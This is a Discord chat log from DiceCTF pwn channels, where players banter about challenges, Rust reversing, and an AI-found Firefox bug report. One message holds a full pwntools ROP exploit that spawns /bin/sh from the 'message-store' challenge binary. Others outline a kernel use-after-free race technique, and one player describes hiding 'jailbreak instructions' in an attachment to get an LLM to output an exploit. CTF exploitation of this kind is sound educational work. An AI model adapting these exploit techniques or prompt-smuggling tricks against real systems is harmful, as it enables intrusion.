yea i saw that

#

it's pure rage bait

humble chasm
#

yeah there's no way

robust spire
quiet vortex
lofty bay
worldly burrow
#

KQX

#

KQX fan club

lofty bay
#

if you tried prompting better, it woulda solved

vale light
humble chasm
#

holy ragebait

strange pecan
#

i fell for it

worldly burrow
#

just give up

strange pecan
#

i told everyone at work

iron ember
strange pecan
#

i believed pwn was over for a whole hour

#

now i have to retract my statements

humble chasm
#

ngl i fell for it too

iron ember
worldly burrow
fallen egret
worldly burrow
#

isn't that crazy

patent willow
proven cradle
#

Are there easy approaches in rust binaries? (it was a nightmare for me)

vale light
civic haven
cunning latch
proven cradle
cunning latch
#

Nothing is enough when facing rust

worldly burrow
#

skill issue

patent willow
dense ice
#

at least that was my strat cos i wasn't gonna stare at rust 🀣

worldly burrow
#

btw im curious about why sometimes rax, rsi are buffer

#

and sometimes they are heap?

#

tbf i didn't read the code and debug the shit out of it

cunning latch
#

From what I understood if you have non ascii byte in the buffer then it returns the buffer otherwise it copies it in the heap and replaces bad bytes

#

Not completely sure tho

polar frost
#

i was confused why people were talking about rust all this time i totally forgot i wrote a rust pwn

polar frost
# cunning latch From what I understood if you have non ascii byte in the buffer then it returns ...
#[inline(never)]
fn print_message() -> std::io::Result<()> {
    let message = String::from_utf8_lossy(BUFFER.get());
    // If `COLOR` is an invalid enum value, this goes OOB of the jump table
    let func = match get_color() {
        MessageColor::Red => Colorize::red,
        MessageColor::Green => Colorize::green,
        MessageColor::Yellow => Colorize::yellow,
        MessageColor::Blue => Colorize::blue,
        MessageColor::Magenta => Colorize::magenta,
        MessageColor::Cyan => Colorize::cyan,
        MessageColor::White => Colorize::white,
    };
    println!("{}", func(&*message));

    Ok(())
}
plucky shale
#

rust kernel pwn

#

next time

worldly burrow
#

πŸ’€

polar frost
#

other highlights from this challenge's source code:

iron ember
#

garden wu ?

patent willow
#

ggs the pwn was very fun, i pulled an allnighter, and i have an exam tmrw 😭

placid moss
cunning latch
#

But I don't understand why in the solution with the execvp of the other guy the pointer survives. Mine were all getting butchered by the from_utf8_lossy. I fucking hate rust

polar frost
#

message store solver. curious if this was fully ai oneshotted or needed any manual work

patent willow
polar frost
#

It's a bit 🀑 but llvm hates generating nice gadgets

worldly burrow
#

πŸ’€

#

crazy shit

#

no wonder it has so many solves

polar frost
#

Yeah assumed so

worldly burrow
#

doing it yourself was fun tho

#

too much code tho :((

polar frost
#

I spent an allnighter ropping manually πŸ˜”

patent willow
worldly burrow
#

i was talking about the garden chall bro

civic haven
worldly burrow
patent willow
worldly burrow
patent willow
#

im way better at heap-like than stack tbf

unreal adder
#

:)

worldly burrow
#

skill issue

unreal adder
#

garden was a condensed version of a jvm

polar frost
#

In hindsight knowing LLMs would be used i should have just -O and stripped it ah well :^)

proven cradle
worldly burrow
patent willow
worldly burrow
#

it took me like 2h to find vuln

#

would have been crazy long if it was stripped

#

πŸ’€

lethal isle
polar frost
#

Yeah problem is optimising for non-ai makes it suck for the people playing legit πŸ˜”

patent willow
polar frost
#

If i host another CTF i'll probably pretend i'm writing a challenge in 2025 and not look at solve times 😌

patent willow
#

like i get it if its a job but ctfs are supposed to be fun

robust spire
polar frost
lethal isle
worldly burrow
#

:((

unreal adder
#

excellent self control

iron ember
#

next time let challenge binary < 2mb dogbolt isn't accepting those ( i don't love using cutter for decompiling ) catpopcorn

polar frost
#

ghidra?

worldly burrow
#

open binary in ghidra/ida

#

and read the code

#

instead of copying and pasting into claude ... asking it to "make code readable"

#

lmao

iron ember
#

i don't use ghidra tbh i don't love the theme i have ghidra in cutter

quiet vortex
#

Just use binary ninja

polar frost
#

embrace binary ninja

worldly burrow
quiet vortex
patent willow
#

i use only ida free lol

worldly burrow
#

crazy

strange pecan
#

IDA 9 Beta is free everyone

worldly burrow
#

try ida 😭

civic haven
polar frost
#

IDA is 🀒

strange pecan
#

Thank you hexrays employee who put his dstore online

patent willow
civic haven
polar frost
#

[dicegang does not endorse piracy]

quiet vortex
worldly burrow
patent willow
quiet vortex
#

Im happy with the HLIL

remote crest
strange pecan
#

Oh the firefox thing? I havent taken a look at it lol

worldly burrow
polar frost
#

nah

quiet vortex
#

Interesting

worldly burrow
#

it found like 22 or something bugs

polar frost
#

binja clears ida in 2026 πŸ™‚

worldly burrow
#

in two weeks i think

strange pecan
#

I just shitpost around with it and say AGI is here time to learn plumbing boys

patent willow
worldly burrow
#

no seriously

strange pecan
#

Now when i fell for the cornelslop ragebait i actually thought AGI is here

worldly burrow
#

what do you think?

patent willow
#

i cant be bothered to pirate

strange pecan
#

Hmm I will read through it and let you know then

polar frost
#

I think the firefox thing is a little bit overhyped but that could be cope

strange pecan
#

the last anthropic post i wasnt very impressed

worldly burrow
#

great

#

yeaa this one was very vague too

#

just telling that they found bugs and blah blah

polar frost
#

$4k and only two bugs got made into exploits

worldly burrow
#

but still .. it did find the bugs tho

strange pecan
#

Oh then if its similar and like that

patent willow
strange pecan
#

then i think it still has ways to go

#

but maybe its just the new fuzzing lol

worldly burrow
worldly burrow
#

they didn't really give much details

#

so we can only assume

worldly burrow
cunning latch
polar frost
#

Finding crits in firefox is not that hard imo. Idk, will be interesting to see if it keeps finding things

strange pecan
#

^^

worldly burrow
#

yea that's true

strange pecan
#

Firefox is not hammered away by people like Chrome

worldly burrow
#

that's copium i think

#

firefox is right after chrome when it comes to most hammered away software imo

#

maybe not right after but it's up there

polar frost
#

It's a big gap, at least in terms of public research

#

I wouldn't know what the private labs are doing tho πŸ˜Άβ€πŸŒ«οΈ

worldly burrow
#

still it's a very big deal

worldly burrow
#

maybe they are fuzzing and using opus to look at crashes

#

and hyping it like that

#

to bump up the stock priices or something

torpid stone
#

Or Anthropic steals the bugs people find using Claude πŸ‘€

worldly burrow
#

can't be

torpid stone
#

They wouldn't right

#

πŸ˜†

strange pecan
#

I doubt opus is better at triaging crashes than finding them (amongst a sea of false positives)

soft frost
#

I mean if you hire the most talented developers/hackers and spend 10k in compute. You are very likely to find something

worldly burrow
#

i mean they didn't give any details about how they used there models and if it was guided or unguided or any technical details

strange pecan
#

I had to work with someone to triage fuzzing crashes a few months ago and bro would only have cursor read and triage syzlang logs then proceed to post an official issue

#

ts pmo

worldly burrow
#

fr

strange pecan
#

because it was all nonsense 😭

worldly burrow
strange pecan
#

most issues reported by him tho

#

lmfao

#

he was AGENTIC πŸ€“

iron ember
worldly burrow
#

it's not the prompt im interested in

#

because models produce different output on the same prompt

#

it's HOW they used there model opus ... was it guided somehow? what were the tools it was given? was it pure static analysis? or what?

#

they gave absolutely no details .. which is disappointing

worldly burrow
iron ember
pure cipher
#

@strange pecan I liked the kernel challenge. Thank you for writing it!

worldly burrow
#

will we see ur writeup? πŸ‘€

#

@pure cipher

young gyro
#

IMO the actual signal from the ant.dev firefox story is:

  • Opus 4.6 is able to write a SpiderMonkey exploit when given a very good bug (like, in this case, a type confusion that instantly leads to addrof/fakeobj prim). No exploits coined for other harder bugs yet.
  • ... and only once in 350 rollouts.
  • ... but we all know some hammer that probably can make it nearly 95% in the near future.
worldly burrow
#

i think they said that in the blog post

pure cipher
strange pecan
worldly burrow
tawny ravine
digital cloak
hidden cargo
buoyant pebble
molten stump
lethal isle
#

What was the intended way to get a uaf in cornelslop?

#

Is it the thing leave did?

sour pawn
#

where was the garden vuln?

lethal widget
#

then selectively deleted mmap regions to triggered ordered frees for cross cache

lethal isle
jaunty storm
#

i found it with afl

fallen egret
strange pecan
lethal widget
#

to get around the 128 limit

#

i started ~600 threads one by one to hang them in add_entry -> sha256_va_range

#

then deleting the range causes it to bail out early and kfree the entry

#

so setting up different threads with different ranges allows us to control how they get freed

strange pecan
#

Ah i see

#

The kqx trick with cpu cores is intended

lethal widget
#

nice

strange pecan
#

Im assming thread assignment gets balanced across cores so that creates the same effect

knotty patio
#

@strange pecan ur chall has a writeup

#

available

#

sorry man

strange pecan
#

Yea thats fine lol

knotty patio
strange pecan
#

Ya its a good writeup and pretty much the intended

#

Once you get UAF there are a million ways to go πŸ™‚

knotty patio
#

maybe next time try chrome ?

#

it will be huge chall for you

lethal widget
#

i used the kfree technique from corphone

#

since slowing down the checking allows easy double free

worldly burrow
strange pecan
#

oh thats a clean exp then

#

lol remote stability for me was like 50%

#

race window on my local laptop was 10 times larger 🀣

lethal widget
#

i only needed to change my timings a little bit

#

the biggest issue was having 600 threads all running on the system was slowing things down by a scary amount on remote

strange pecan
#

when ai one shots this AGI has come and I will quit computers and buy a farm

#

or maybe optimus robots will run all farms by then

#

guess i shall gamble away everything on polymarket instead

lethal widget
#

xd

lilac nova
strange pecan
#

It was fake lmao

#

He wrote an exploit and asked LLM to sloppify it

lilac nova
#

For the kernel chal,
We were stucked with 128 limit but @hallow narwhal 's Agent took 4 hours to found how to cross cache from scratch at it's 15th iteration....
However we don't trust LLM so we **NEVER **checked the progress....

Actually the Agent automatically find the UAF itself, finished the cross cache but end up to msg_msg (since we feed to many old kctf examples)... All progress has been dynamically verified with c PoC....

vale light
# vale light Yes this

I sloppified the actual exploit than hid it in one of the uploaded attachments. The hidden "jailbreak instructions" just tell it to copy and paste the exploit from the attachments

#

I initially submitted it in a ticket to troll the organizers, but apparently it hit a bit too hard.
Sorry for anyone I gave an existential crisis

lethal isle
#

But maybe that cap was way higher, I don't remeber

lethal widget
#

but mprotecting the region in a loop on another thread seemed to do the trick

lethal isle
#

How did you find that tecnique? Bc I found it after an extremely long conversation with gemini, but didn't manage to find it anywhere online

lethal widget
#

claude xd

knotty patio
#

No it was spoken

#

Via ptr

#

Yodai

lethal widget
#

i asked it to find ways to sleep or otherwise interrupt in the middle of the sha256_vm_range function

#

it suggested uffd/fuse first, then some fs stuff

#

i told it those werent available and the fs was all in memory initramfs

#

then it gave the mmap lock contention method

knotty patio
#

Im wondering if llms keep this evolvment many people will lose their jobs

dreamy egret
knotty patio
#

....

lethal widget
dreamy egret
#

oops wrong link

#

he makes mprotect do a big PT walk and the page fault has to wait for it to release the lock

lethal widget
#

yes

dreamy egret
#

i attempted this briefly but i couldn't get it working with limited memory

lethal isle
#

Yes it's this

lethal widget
#

the max region was 256mb

#

but the whole vm has 4gb

lethal isle
dreamy egret
#

i basically just tried copying his code tho, prolly just skill issue

lethal isle
lethal widget
#

i only did rw

#

no switching

lethal isle
#

Ah

lethal widget
dreamy egret
#

in the attachments

#

of the report

#

oh

#

have to scroll down

lethal widget
#

yeah jh also only uses one prot it seems

#

although initially the perms are RX

#

i dont see anywhere where it bails it you mprotect with same perms

#

i also noticed that using a shared mapping of the same region of one file for everything seems to cause quite a bit of slowdown

lethal isle
stoic carbon
#

took me forever but here we go yey

from flashlib import *
init("./challenge")
gdbscript="""

set resolve-heap-via-heuristic force
b *main
b *memcpy
b *execvp
b *main
b *0x243abb
b *0x243afa
"""
attach(gdbscript)
got_read=0x2f7428
got_write=0x2f76d8

#0x0000000000277f3a : mov qword ptr [rdi], rdx ; pop rbx ; pop r14 ; pop rbp ; ret
#0x00000000002d5a5a : sub dword ptr [rbx + 7], esi ; mov rax, rdi ; mov rdx, rsi ; ret
#0x000000000024577a : mov rax, rbx ; pop rbx ; ret
#0x00000000002a350c : add ecx, 2 ; mov qword ptr [rdi], rcx ; ret
#0x000000000024742d : mov qword ptr [rdi], rcx ; ret

pop_rdi_rbp=0x246e30
syscall=0x00000000002a6602
pop_rsi_r15=0x0000000000243563
mov_rsi_to_rdx=0x00000000002d5a60
mov_rdx_at_rdi_addr=0x0000000000277f3a
mov_rbx_to_rax=0x000000000024577a

payload=flat(
    pack(0),pack(elf.got.read),
    8,p32(0x12),p32(0x12),p64(0),cyclic(56),
    pop_rsi_r15,b"/bin/sh\x00",0,mov_rsi_to_rdx,mov_rdx_at_rdi_addr,0x3b,0,0, #buffer overflow rop chain
    pop_rsi_r15,0,0,mov_rsi_to_rdx,mov_rbx_to_rax,0,syscall
    )
########################
#3571 should execute execvp
#3356 memcpy
#0x0 junk
#0x8 str addr
#0x10length
#0x18 fg
#0x1c bg
#0x20
########################

io.sendlineafter(b'> ',b'1')
io.sendline(payload)
io.sendlineafter(b'> ',b'2')
io.sendline(b'3356')
io.sendlineafter(b'> ',b'3')

io.interactive()
#

exploit for message-store ^

stoic carbon
#

alas AI was better πŸ˜”

mortal iron
#

Hey all, a bit late to the party. Just sharing my writeup for bytecrusher. This is the first time I solved a ctf pwn challenge, other than htb and thm. So go easy on me πŸ˜‚

https://yusuftas.net/posts/dicectf-bytecrusher-writeup/

I have been trying to improve week by week by solving one pwn challenge at a time. So far I managed to solve medium level challenges in Htb.

#

Also i had a look at message store in ghidra and it was quite scary. Never looked at a rust binary before. Looking at solutions here, no way I could solve it πŸ˜‚ any tips on reversing rust binaries? Was ghidra the wrong choice or it doesn't matter rust is always like that?

worldly burrow
#

than a rust chall

polar frost
unreal adder
#

maybe you should specify the chall author in case the link is no longer available πŸ™‚

mortal iron
unreal adder
#

yeah its me lol

mortal iron
unreal adder
#

glad you enjoyed playing!

pure cipher
#

my wp for cornelslop. thanks for the nice challenge!
https://ptr-yudai.hatenablog.com/entry/2026/03/16/174349

This year, I played in the DiceCTF qualifiers with BunkyoWesterns, and we managed to place first. We finished 1st place at DiceCTF 2026 Quals!Looking forward to seeing everyone (and hopefully a big steak) in New York. πŸ—½πŸ₯© pic.twitter.com/NURygMK9ibβ€” BunkyoWesterns (@BunkyoWesterns) March 8, 2026 Amon…

lethal widget
#

guess i should make a writeup too...

lethal isle
#

I'm writing one aswell ahaha

lethal widget
#

i will write it on the plane to m0lecon

lethal isle
lethal isle
#

Damn I just read it, Idt I'll write mine anymore. I don't have anything interesting to add to this or the kqx one lmao

knotty patio
#

All categories got writeup except rev πŸ˜‚πŸ˜‚

strange pecan
knotty patio
covert compass
#

pwn more like pwnhub

sage flower
#

vulnhub

#

pwnhub

weary bronze
#

\o/

next orbit
#

glibc 0day pwn

#

pepega

coral heart
#

πŸ˜‰

native swift
#

we're gonna have glibc 2.34 0days

strange pecan
#

soon one day glibc devs will remove malloc and free hook

#

and glibc pwn will no longer be ez 😦

vagrant cypress
#

@strange pecan Then new techniques will be found.

strange pecan
#

it was uh mentioned in a tweet by a glibc dev in response to the new House of Rust mechanism

#

maybe he was joking tho

vapid ruin
#

That would be insane

stuck magnet
#

are these in order

storm jasper
#

also

#

not ordered by difficulty

coral heart
#

maybe try the one named "baby" first

#

:p

#

first person to solve sice sice baby gets a virtual cookie

#

πŸͺ

storm jasper
#

if no one solves sice sice baby I'll give everyone two virtual cookies

#

πŸͺπŸͺ

coral heart
#

what

little kraken
#

im gonna short the virtual cookie market

strange pecan
#

I'll give three virtual cookies to whoever solves hashbrown first

#

πŸͺ πŸͺ πŸͺ

soft anchor
#

Ooooo are none of them 32bit?

full pebble
#

only boomers write 32 bit pwn

soft anchor
#

64bit heap exploits only

#

I love it

#

Fuck da boomers

rich spire
#

kmh: only boomers write 32 bit pwn
also kmh: uses python 2

silk badge
#

py2 > py3

tight pumice
coral heart
#

because rob hates everyone

proper bone
#

it was originally gonna be in ./secret of babier csp

#

but gink is no fun

naive thicket
#

smh

severe sky
#

CONFIG_FG_KASLR sounds mean πŸ˜‚

tight pumice
#

Did the author write the solution for this ^ in under 48 hours πŸ€”

strange pecan
#

uhhh solution took me 4-5 hours

coral heart
#

ok flex

storm jasper
#

^

strange pecan
#

i could release src if it's too toxic for that part

storm jasper
#

fizzbuzz tryna scare off competitors so crusaders of rust gets first

#

πŸ˜’

orchid folio
#

yeah :D

#

prize laundering go brrr

proper bone
#

thank god i don't do kernel

#

sounds yuck

strange pecan
#

lemme know if the rev part is too annoying and i could release src i guess, or leave a debug function

severe sky
tight pumice
#

yes ^ πŸ‘

proper bone
#

u should do adult csp

#

that one has source

full pebble
#

ti-1337 has source πŸ‘€

proper bone
#

but fizzbuzz if u wana release source u shoudl do it early

strange pecan
#

alright i'll release src in 20ish minutes then

#

don't laugh at my garbage code 😠

coral heart
#

laugh

strange pecan
#

just going through and cleaning up comments right now

#

@tight pumice @severe sky I released src just now, apologies for the original toxicity lmao

tight pumice
#

W

strange pecan
#

i think i only deleted comments, but if anything looks really off, feel free to dm me

severe sky
#

Oh great, thx

cobalt yoke
#

@eternal basin can I dm?

#

<@&805956149504770088> can I dm someone regarding babyrop. I think there is some problem with server.

upper hollow
#

i believe bosh is asleep

coral heart
#

Uh, is the server down or something?

cobalt yoke
#

Maybe someone else can restart the service once?

proper drum
#

our uptime checks don't show any issues

cobalt yoke
proper drum
#

you have a 30s wall clock time limit from when the connection is established

cobalt yoke
#

I have a locally working exploit but, doesnt work with server.
And it doesn't take as much as 10 sec to execute

proper drum
#

then you probably crashed on remote lemonthink

cobalt yoke
#

@coral heart can I dm?

upper hollow
#

there is a solve so you know its solvable

cobalt yoke
#

I know, I have the exploit, thats why I just wanted to make sure

coral heart
#

it sounds like your local exp is relying on system specific things

#

idk much about the chal tho

cobalt yoke
#

No, both offsets are same, my system runs on the same environment

coral heart
#

But like, stack can be inconsistent between remote and local

#

Uhh

#

🀷

native swift
#

solve script works

proper drum
#

btw atorgs can we uh put solve scripts in git thx

native swift
#

I can check some in

coral heart
#

πŸ€”

cobalt yoke
eternal basin
#

dm your solve script

#

@cobalt yoke

twin eagle
#

Where are the libc file babyrop?

eternal basin
#

u don't need it

cobalt yoke
eternal basin
#

the remote gives all the info u need

stuck magnet
#

babyrop was very fun chall ❀️

twin eagle
native swift
#

carefully

eternal basin
#

look into how you can get info from the remote

native swift
#

bosh so wholesome

#

πŸ₯Ί

twin eagle
eternal basin
#

πŸ˜„

next orbit
#

sice_sice_baby πŸ˜” is killing me

coral heart
#

πŸ˜”

next orbit
strange pecan
#

Just out of curiosity, for those who are working on hashbrown dm me with their progress so us organizers can decide about hints for later (if necessary)?

rustic parrot
proper drum
#

arin do kernel

#

or chrome

rustic parrot
#

no

#

im busy brute forcing aslr

proper drum
#

monka

rustic parrot
#

leek plz

strange pecan
#

arinn do kernel or chrome

analog frost
#

Hey babyrop has some inconsistencies. Can you share whats the service used to host it?

#

I am sure the addresses I am using should be the same on remote as well.

#

The remote is not responding back with anything

proper drum
analog frost
#

Can you share how you are hosting it? For sure there is something else at play here.

proper drum
#

it's run inside nsjail, but that's irrelevant to the challenge

analog frost
#

😦 Its irritating when there is no sense it shouldn't work.

#

All my offsets/addresses used for leaks are constant in the binary

#

and it will be same in any environment.